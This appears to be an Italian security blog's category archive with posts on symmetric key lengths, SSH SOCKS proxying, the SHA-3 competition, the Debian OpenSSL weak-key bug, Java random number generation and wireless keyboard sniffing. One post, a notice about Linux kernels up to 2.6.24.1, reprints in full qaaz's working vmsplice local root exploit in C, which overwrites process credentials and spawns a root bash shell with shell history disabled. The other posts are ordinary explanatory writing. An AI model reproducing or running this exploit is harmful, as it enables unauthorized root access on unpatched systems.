Category Archives: sicurezza

Sulla lunghezza delle chiavi negli algoritmi crittografici simmetrici

EncryptedOggi Bruce Schneier ha pubblicato un brano tratto dal suo Applied Criptography. L’occasione è il debunking di un bizzarro algoritmo crittografico simmetrico che usa chiavi da 49152 bit — segno piuttosto chiaro che gli autori dell’algoritmo non hanno esattamente in mente di cosa stiano parlando. Mi permetto di riportare qui il brano correggendo i dati numerici e modificando leggermente gli esempi.

Una delle conseguenze del secondo principio della termodinamica — osserva Schneier — è che è necessaria una certa quantità di energia per rappresentare l’informazione. Memorizzare un singolo bit cambiando lo stato di un sistema richiede una quantità di energia pari almeno a kT, dove k è la costante di Boltzmann e T è la temperatura assoluta del sistema.

Dato che k = 1.38065 × 10-23 J/K e che la temperatura dell’universo è di 2.725 K, un computer ideale funzionante a 2.725 K consumerebbe 3.7623 × 10-23 J per impostare un bit a 0 o 1. Per far funzionare il computer a una temperatura ancora più bassa servirebbe dell’energia aggiuntiva per far funzionare una pompa di calore.

Il nostro Sole emette ogni anno circa 1.22 × 1034 J, che è il necessario per far 3.2427×1056 cambi di bit sul computer ideale, vale a dire per far ciclare attraverso tutti i suoi valori un contatore da 187 bit. Se costruissimo una sfera di Dyson (un’ipotetica megastruttura che cattura tutta l’energia di una stella) attorno al nostro Sole basterebbero 32 anni per poter contare fino a 2192. Ovviamente non rimarrebbe energia per poter elaborare in alcun modo questi valori.

Un piccolo ammasso globulare, cioè una specie di mini-galassia che orbita attorno a una galassia maggiore, può avere una massa di 5.5 × 1037 kg. Se annichilissimo tutta la materia dell’ammasso con un pari quantitativo di antimateria come conseguenza del famoso E=mc2 otterremmo 2 × 1053 J, poco più del necessario per far ciclare completamente un contatore da 256 bit.

Questi numeri non hanno nulla a che fare con la tecnologia dei computer: sono il massimo che la termodinamica permette. Questo vuol dire che gli attacchi di forza bruta contro chiavi da 256 bit saranno computazionalmente insostenibile fino a quando i computer non saranno fatti di qualcosa di diverso dalla materia e occuperanno qualcosa di diverso dallo spazio.

Una leggenda metropolitana piuttosto diffusa vuole che i mitici computer quantistici polverizzeranno senza problemi le chiavi degli algoritmi crittografici simmetrici “provando tutte le chiavi contemporaneamente”. In realtà nel 1996 Bennet, Bernstein Brassard e Vazirani hanno dimostrato che un attacco di forza bruta su un algoritmo simmetrico non può richiedere meno di 2n/2 invocazioni dell’algoritmo stesso, dimezzando quindi lo spazio delle chiavi da esplorare. Un algoritmo con chiave da 256 bit offre dunque una resistenza a un ipotetico computer quantistico di almeno 128 bit (link al paper).

Gli attacchi agli algoritmi di crittografia mirano quindi a ridurre drasticamente lo spazio di ricerca in modo intelligente, dato che lo spazio di tutte le chiavi possibili è un problema fisicamente inaffrontabile.

Ha ben ragione Schneier quando mette tra le caratteristiche per individuare la crittografia farlocca “ridiculus key lengths”: chi propone algoritmi con chiavi da 49152 bit o addirittura 1 milione probabilmente ha le idee un po’ confuse.

Usare SSH come server proxy

Web icon by everaldo.comPuò capitare che si disponga di un server a cui si dispone di accesso via SSH e si desideri utilizzarlo come server proxy per la navigazione sul web.

Il client SSH rende semplice questa operazione: permette di mettere in ascolto sulla macchina locale un server proxy SOCKS che rigirerà al server remoto tutte le richieste di connessione all’interno del “tunnel” SSH.

Supponendo di voler mettere in ascolto sulla porta locale 8080 il server proxy, che la macchina remota abbia IP 10.0.0.1 e che il nome utente remoto sia mrossi il comando da lanciare è:

ssh -D 8080 -Nf mrossi@10.0.0.1

(se il nome utente attuale è uguale a quello sulla macchina remota si può tralasciare la stringa mrossi@).

Una breve spiegazione degli switch utilizzati con SSH:

  • -D 8080: indica la volontà di creare un proxy SOCKS in ascolto sulla porta 8080 sull’indirizzo di loopback (127.0.0.1). Opzionalmente si può specificare qualunque indirizzo locale su cui mettersi in ascolto;
  • -N: indica a SSH che non si desidera eseguire alcun comando;
  • -f: fa sì che subito dopo l’autenticazione SSH vada in background.

Una volta eseguito il comando si può configurare il proprio browser per utilizzare il proxy SOCKS in ascolto su 127.0.0.1:8080. Se il vostro browser è Firefox potete utilizzare FoxyProxy per gestire facilmente i proxy.

Nuovi hash cercasi

Il primo Novembre è terminata la prima fase del concorso indetto dal Natiolan Institute of Standards and Technology (NIST). È scaduto infatti il termine entro il quale presentare proposte di algoritmi di hashing per sostituire lo scricchiolante SHA-1 e creare il nuovo SHA-3. Non sono disponibili dati sul numero di “concorrenti”, ma si suppone che siano tra i 30 e i 50. Mentre scrivo sono disponibili le descrizioni di 20 algoritmi sul wiki dell’Institut für Angewandte Informationsverarbeitung und Kommunikation (IAIK, Institute for Applied Information Processing and Communications) dell’università tecnica di Graz.

Il concorso è stato indetto dal NIST nel 2007, per designare il successore dell’algoritmo di hashing SHA-1, ritenuto poco sicuro soprattutto a causa dell’attacco studiato da Xiaoyun Wang (王小云), che permette di trovare una collisione con 263 operazioni, contro le 280 operazioni che sarebbero necessarie. Il successore attuale di SHA-1 è SHA-2 e la sua famiglia (SHA-224, SHA-256, SHA-384 e SHA-512). Gli hash di SHA-2 sono però dello stesso tipo di SHA-1, per cui la comunità crittografica non ritiene saggio fidarsi sul lungo periodo di tali algoritmi. Per questo motivo si è deciso di creare il nuovo SHA-3, che dovrebbe essere annunciato nel 2012.

Tra le proposte più discusse c’è Skein, creato da Bruce Schneier – co-sviluppatore di Twofish – insieme a universitari e sviluppatori di Intel e Microsoft. L’algoritmo è estremamente veloce (500MiB/sec per core su un Core 2 Duo x64 3.1 GHz, veloce il triplo di SHA-512 e quasi il doppio di SHA-256) e snello (è possibile implementare Skein-512 con 200 byte di stato e Skein-256 con soli 100 byte), e utilizza primitive simili a quelle usate da SHA-2.

Degno di nota è anche MD6, sviluppato da un team del MIT guidato da Ron L. Rivest, noto per essere stato co-autore di RSA, MD4, MD5 e RC6 (uno degli algoritmi finalisti per lo standard AES). MD6 ha un design tradizionale, è relativamente lento (che può non essere solo uno svantaggio per un algoritmo di hashing) e è studiato per funzionare bene su sistemi paralleli.

La squadra Danese e Austriaca che ha progettato Serpent (finalista AES) e trovato vulnerabilità in SHA-1 e GOST ha inviato come proposta Grøstl, la cui architettura si discosta nettamente da quella di SHA, pur rimanendo veloce come SHA-2. Ci si attende una proposta anche da Joan Daemen e Vincent Rijmen, creatori di Rijndael (vincitore di AES), ma non sono ancora disponibili informazioni a riguardo.

Molte proposte sembrano di sviluppatori amatoriali. L’algoritmo WaMM è stato dimostrato vulnerabile in meno di 24 ore. Geoffrey Park, seguendo le idee di Stephen Wolfram, ha sviluppato un hash, NKS2D, interamente basato sugli automi cellulari, ma è inevitabilmente lento e non è possibile dimostrarne formalmente la sicurezza.

Non sono noti i criteri con cui verrà selezionao il vincitore. Il prossimo passo è la “SHA-3 Candidate Conference” che verrà tenuta a Febbraio 2009.

Chiavi OpenSSL deboli per Debian e derivate

Qualche giorno fa il bollettino di sicurezza di Debian dsa-1571 ha pubblicato un bug scoperto da Luciano Bello. Per evitare che i programmi che utilizzano OpenSSL venissero riportati come buggati da Valgrind, i packager di Debian hanno rimosso una istruzione dal codice di md_rand.c, con il risultato di inficiare pesantemente sul seeding del PRNG che genera le chiavi asimmetriche.

LA conseguenza è che data una certa dimensione di chiave OpenSSL non riesce a generare tutte le chiavi possibili, ma solo una tra 32768. Questo vuol dire che i server amministrabili via SSH sono suscettibili agli attacchi brute force anche se autorizzano l’accesso solo con chiavi asimmetriche (metodo storicamente considerato più robusto di semplici passphrase).

Le chiavi generate tra Settembre 2006 e il 13 Maggio 2008 sono da considerarsi vulnerabili e devono essere rigenerate. Sono deboli le chiavi SSH, OpenVPN, DNSSEC, le chiavi nei certificati X.50 e le chiavi di sessione in connessioni SSL/TLS.

H. D. Moore (il creatore di Metasploit) ha scritto un ottima panoramica tecnica sull’argomento: http://metasploit.com/users/hdm/tools/debian-openssl/.

Oltre java.util.Random

Daniel Dyer sta pubblicando sul suo blog una serie di articoli dedicati alla generazione di numeri casuali con Java. Tutti i programmatori Java prima o poi utilizzano la classe java.util.Random, che però va bene solo per semplici casi: necessità di una distribuzione uniforme e nessun requisito di sicurezza.

Per la crittografia usare java.util.Random è un peccato mortale: la classe da utilizzare in questo caso è java.security.SecureRandom. Per verificare quanto siano poco casuali i bit generati da java.util.Random fate riferimento a questa pagina: http://www.alife.co.uk/nonrandom/index.html.

Dyer coglie l’occasione per fare “pubblicità” al suo progetto opensource uncommons-maths, rilasciato sotto licenza Apache, che utilizza diversi motori casuali (Marsenne Twister, un generatore basato sugli automi cellulari che piacerebbe a Stephen Wolfram e un generatore basato su AES) e può generare numeri secondo diverse distribuzioni: uniforme, gaussiana, di Poisson, binomiale e esponenziale. È disponibile un demo che mostra in modo sensibile le diverse distribuzioni, basta eseguire sul proprio terminale preferito:

javaws https://uncommons-maths.dev.java.net/demo/demo.jnlp

Gli articoli pubblicati da mentre scrivo sono i seguenti:

Nei prossimi post della serie Dyer parlerà dei gradi di libertà nel mischiare un mazzo di carte e dei problemi da gestire quando si usano numeri casuali nella crittografia.

Nel suo profilo su LinkedIn Dyer scrive di avere esperienza nella programmazione di giochi online relativi a giochi d’azzardo: nessuna meraviglia che sia interessato alla generazione efficiente di numeri casuali (gli algoritmi random utilizzati da un programma che simuli la roulette può essere perfettamente corretto e “fair”: sono le regole del gioco a far sì che alla fine della giornata il vincitore sia sempre il banco).

Kernel 2.6.24.1 vulnerabile a vmsplice local exploit.

Il kernel di Linux fino alla versione 2.6.24.1 è vulnerabile a un exploit locale che permette a un utente normale di ottenere i privilegi di root. Il codice dell’exploit è il seguente:

/*
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 *
 * (compile fixed by nenolod.)
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS	16
#define PG_compound	14
#define uint		unsigned int
#define static_inline	static inline __attribute__((always_inline))
#define STACK(x)	(x + sizeof(x) - 40)

struct page {
	unsigned long flags;
	int count;
	int mapcount;
	unsigned long private;
	void *mapping;
	unsigned long index;
	struct { long next, prev; } lru;
};

void	exit_code();
char	exit_stack[1024 * 1024];

void	die(char *msg, int err)
{
	printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
	fflush(stdout);
	fflush(stderr);
	exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	316
#endif

#define USER_CS		0x73
#define USER_SS		0x7b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"movl %0, 0x10(%%esp) ;"
	"movl %1, 0x0c(%%esp) ;"
	"movl %2, 0x08(%%esp) ;"
	"movl %3, 0x04(%%esp) ;"
	"movl %4, 0x00(%%esp) ;"
	"iret"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movl %%esp, %%eax ;"
	"andl %1, %%eax ;"
	"movl (%%eax), %0"
	: "=r" (curr)
	: "i" (~8191)
	);
	return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	278
#endif

#define USER_CS		0x23
#define USER_SS		0x2b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"swapgs ;"
	"movq %0, 0x20(%%rsp) ;"
	"movq %1, 0x18(%%rsp) ;"
	"movq %2, 0x10(%%rsp) ;"
	"movq %3, 0x08(%%rsp) ;"
	"movq %4, 0x00(%%rsp) ;"
	"iretq"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movq %%gs:(0), %0"
	: "=r" (curr)
	);
	return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice	__NR_vmsplice
_syscall4(
	long, _vmsplice,
	int, fd,
	struct iovec *, iov,
	unsigned long, nr_segs,
	unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)	syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void	kernel_code()
{
	int	i;
	uint	*p = get_current();

	for (i = 0; i < 1024-13; i++) {
		if (p[0] == uid && p[1] == uid &&
		    p[2] == uid && p[3] == uid &&
		    p[4] == gid && p[5] == gid &&
		    p[6] == gid && p[7] == gid) {
			p[0] = p[1] = p[2] = p[3] = 0;
			p[4] = p[5] = p[6] = p[7] = 0;
			p = (uint * ) ((char *)(p + 8 ) + sizeof(void *));
			p[0] = p[1] = p[2] = ~0;
			break;
		}
		p++;
	}	

	exit_kernel();
}

void	exit_code()
{
	if (getuid() != 0)
		die("wtf", 0);

	printf("[+] root\n");
	putenv("HISTFILE=/dev/null");
	execl("/bin/bash", "bash", "-i", NULL);
	die("/bin/bash", errno);
}

int	main(int argc, char *argv[])
{
	int		pi[2];
	size_t		map_size;
	char *		map_addr;
	struct iovec	iov;
	struct page *	pages[5];

	uid = getuid();
	gid = getgid();
	setresuid(uid, uid, uid);
	setresgid(gid, gid, gid);

	printf("-----------------------------------\n");
	printf(" Linux vmsplice Local Root Exploit\n");
	printf(" By qaaz\n");
	printf("-----------------------------------\n");

	if (!uid || !gid)
		die("!@#$", 0);

	/*****/
	pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
	pages[1] = pages[0] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[0]);
	printf("[+] page: 0x%lx\n", pages[1]);

	pages[0]->flags    = 1 << PG_compound;
	pages[0]->private  = (unsigned long) pages[0];
	pages[0]->count    = 1;
	pages[1]->lru.next = (long) kernel_code;

	/*****/
	pages[2] = *(void **) pages[0];
	pages[3] = pages[2] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[2]);
	printf("[+] page: 0x%lx\n", pages[3]);

	pages[2]->flags    = 1 << PG_compound;
	pages[2]->private  = (unsigned long) pages[2];
	pages[2]->count    = 1;
	pages[3]->lru.next = (long) kernel_code;

	/*****/
	pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
	map_size = PAGE_SIZE;
	map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);
	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[4]);

	/*****/
	map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
	map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
	                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

	/*****/
	map_size -= 2 * PAGE_SIZE;
	if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
		die("munmap", errno);

	/*****/
	if (pipe(pi) < 0) die("pipe", errno);
	close(pi[0]);

	iov.iov_base = map_addr;
	iov.iov_len  = ULONG_MAX;

	signal(SIGPIPE, exit_code);
	_vmsplice(pi[1], &iov, 1, 0);
	die("vmsplice", errno);
	return 0;
}

// milw0rm.com [2008-02-09]

La prima versione non vulnerabile è la 2.6.24-git20, il che vuol dire che tutte le versioni di (K)Ubuntu sono vulnerabili, inclusa l’LTS 6.06 Dapper Drake e Gutsy Gibbon 7.10. Ci si aspetta a giorni un update che elimini questo pericoloso bug.

Crackare le tastiere wireless

Keyboard icon by everaldo.comA Agosto 2007 Luis Miras, lead vulnerability researcher della Intrusion, ha tenuto un interessante speech al convegno BlackHat 2007: Other Wireless: New ways to get Pwned (PDF). L’idea di Miras era molto semplice: ci sono dati trasmessi via etere “insospettabili” che possano rappresentare un rischio per la sicurezza? La risposta banalmente era sì: tutto ciò che viene digitato sulle tastiere wireless può essere intercettato da qualche curiosone di passaggio. Miras presentò dei replay attack e poco altro: tastiere e mouse wireless comunicano usando un protocollo crittato che non aveva avuto la possibilità di reversare.

Per poter effettuare l’attacco replay ha dovuto creare una periferica wireless personalizzata. Questo non è particolarmente difficile in quanto pressoché tutti i dispositivo di questo genere sono composti da tre parti: un semplice microcontrollore, una piccola eeprom e un trasmettitore. Il dongle ricevente è molto simile, con un ricevitore al posto del trasmettitore. Inoltre per l’utilizzo negli Stati Uniti questi dispositivi devono essere approvati dall’FCC: il risultato è che cercando il numero di serie di un prodotto è possibile spesso ricavare gli schematici della sua architettura.

Qualche giorno fa Max Moser e Philipp Schrödel di Dreamlab Technologies e remote-exploit.org hanno pubblicato un articolo che spiega il funzionamento del protocollo e come sia possibile sniffare le connessioni in modo estremamamente semplice.

Analizzando il protocollo hanno scoperto che caratteri come shift e alt sono inviati non crittati al ricevente wireless. La crittazione usata nell’invio di ogni carattere è uno XOR del valore del carattere con un byte ricavato da un motore casuale inizializzato con un singolo byte durante l’handshake tra la periferica wireless e la stazione ricevente connessa al computer. Sniffando l’handshake è quindi possibile intercettare facilmente tutti i tasti premuti sulla tastiera. In realtà questo non è necessario, poichè ci sono solo 256 possibili chiavi di crittazione, per cui sniffando i tasti crittati e usando gli stessi metodi statistici utilizzati per “rompere” il cifrario di Cesare, è possibile determinare la chiave corretta intercettando solo 20-50 caratteri.

I ricercatori hanno anche pubblicato un video dove mostrano il loro programma proof-of-concept sniffare e crackare la comunicazione di tre diverse tastiere. Con delle piccole antenne non dovrebbe essere difficile sniffare le comunicazioni della tastiera anche oltre il suo circa metro e mezzo di raggio di comunicazione.

Potete usare RSA a 4096 bit per usare via SSH il vostro PC, ma è tutto inutile se poi la chiave viene banalmente letta dal primo venuto abbastanza malizioso (un motivo in più per usare SSH passwordless).

Ma se usate una tastiera con filo, non pensiate di essere al sicuro (e c’è anche chi è in grado di montare questi gingilli all’interno di un laptop).

[via midnightresearch]